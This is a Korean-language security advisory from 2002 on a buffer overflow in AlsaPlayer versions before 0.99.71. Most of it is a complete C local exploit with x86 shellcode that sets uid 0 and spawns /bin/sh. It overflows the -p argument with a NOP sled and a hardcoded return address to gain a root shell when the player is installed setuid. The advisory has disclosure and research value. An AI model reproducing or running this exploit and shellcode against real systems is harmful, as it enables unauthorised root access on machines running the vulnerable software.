AlsaPlayer 공격용 코드

AlsaPlayer 버퍼오버플로우 공격용 소스코드

발표날짜 : 2002.09.24

해당 시스템 : AlsaPlayer versions prior to 0.99.71

비해당 시스템 : AlsaPlayer version 0.99.71

문제점 :
AlsaPlayer 에 버퍼오버플로우가 일어나는 취약점이 발견되었다.

이 버그를 이용하면 이 프로그램이 setuid 로 셋업이 되어 있을때 루트 공략까지도 가능해 진다.

공격법 / 공격용 소스코드 :
/*
* Alsaplayer exploit for a buffer overflow found by KF (snosoft.com)
*
* This program is not installed with special permissions by default.
* However, the author himself does recommend to do so under certain
* conditions:
*
* http://lists.tartarus.org/pipermail/alsaplayer-devel/2002-February/000657.html
*
* Author: zillion[at]safemode.org (09/2002)
*
* Tested on Red Hat 7.3 linux with alsaplayer-devel-0.99.71-1
*
*/

#include <unistd.h>
#include <sys/stat.h>
#include <string.h>

#define BUFFER_SIZE 1056
#define NOP 0x90
#define RET 0xbfffe440

char shellcode[]=

"\xeb\x26\x5e\x31\xc0\x89\xc3\x89\xc1\x89\xc2\xb0\xa4\xcd\x80"
"\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xd5\xff\xff\xff"
"\x2f\x62\x69\x6e\x2f\x73\x68";

void print_error(char * burb) {
printf(" Error: %s !\n",burb); exit(0);
}

void usage(char *progname) {
printf("\n*--- -- - Alsaplayer b0f exploit - -- ---*\n");
printf("\nDefault: %s -f /path/to/alsaplayer",progname);
printf("\nOption : %s -o <offset>\n\n",progname);
exit(0);
}

int main(int argc, char **argv){

char buffer[BUFFER_SIZE];
char file[30];
long retaddress;
int arg,offset=500;

struct stat sbuf;

if(argc < 2) { usage(argv[0]); }

while ((arg = getopt (argc, argv, "f:o:")) != -1){
switch (arg){
case 'f':
strncpy(file,optarg,sizeof(file));
if(stat(argv[2], &sbuf)) { print_error("No such file");}
break;
case 'o':
offset = atoi(optarg);
if(offset < 0) { print_error("Offset must be positive");}
break;
default :
usage(argv[0]);
}
}

retaddress = (RET - offset);
memset(buffer,NOP,BUFFER_SIZE);
memcpy(buffer + BUFFER_SIZE - (sizeof(shellcode) + 8) ,shellcode,sizeof(shellcode) -1);

/* Overwrite EBP and EIP */
*(long *)&buffer[BUFFER_SIZE - 8] = retaddress;
*(long *)&buffer[BUFFER_SIZE - 4] = retaddress;

if(execl(file,file,"-p",buffer,NULL) != 0) {
print_error("Could not execute alsaplayer ");
}

return 0;

}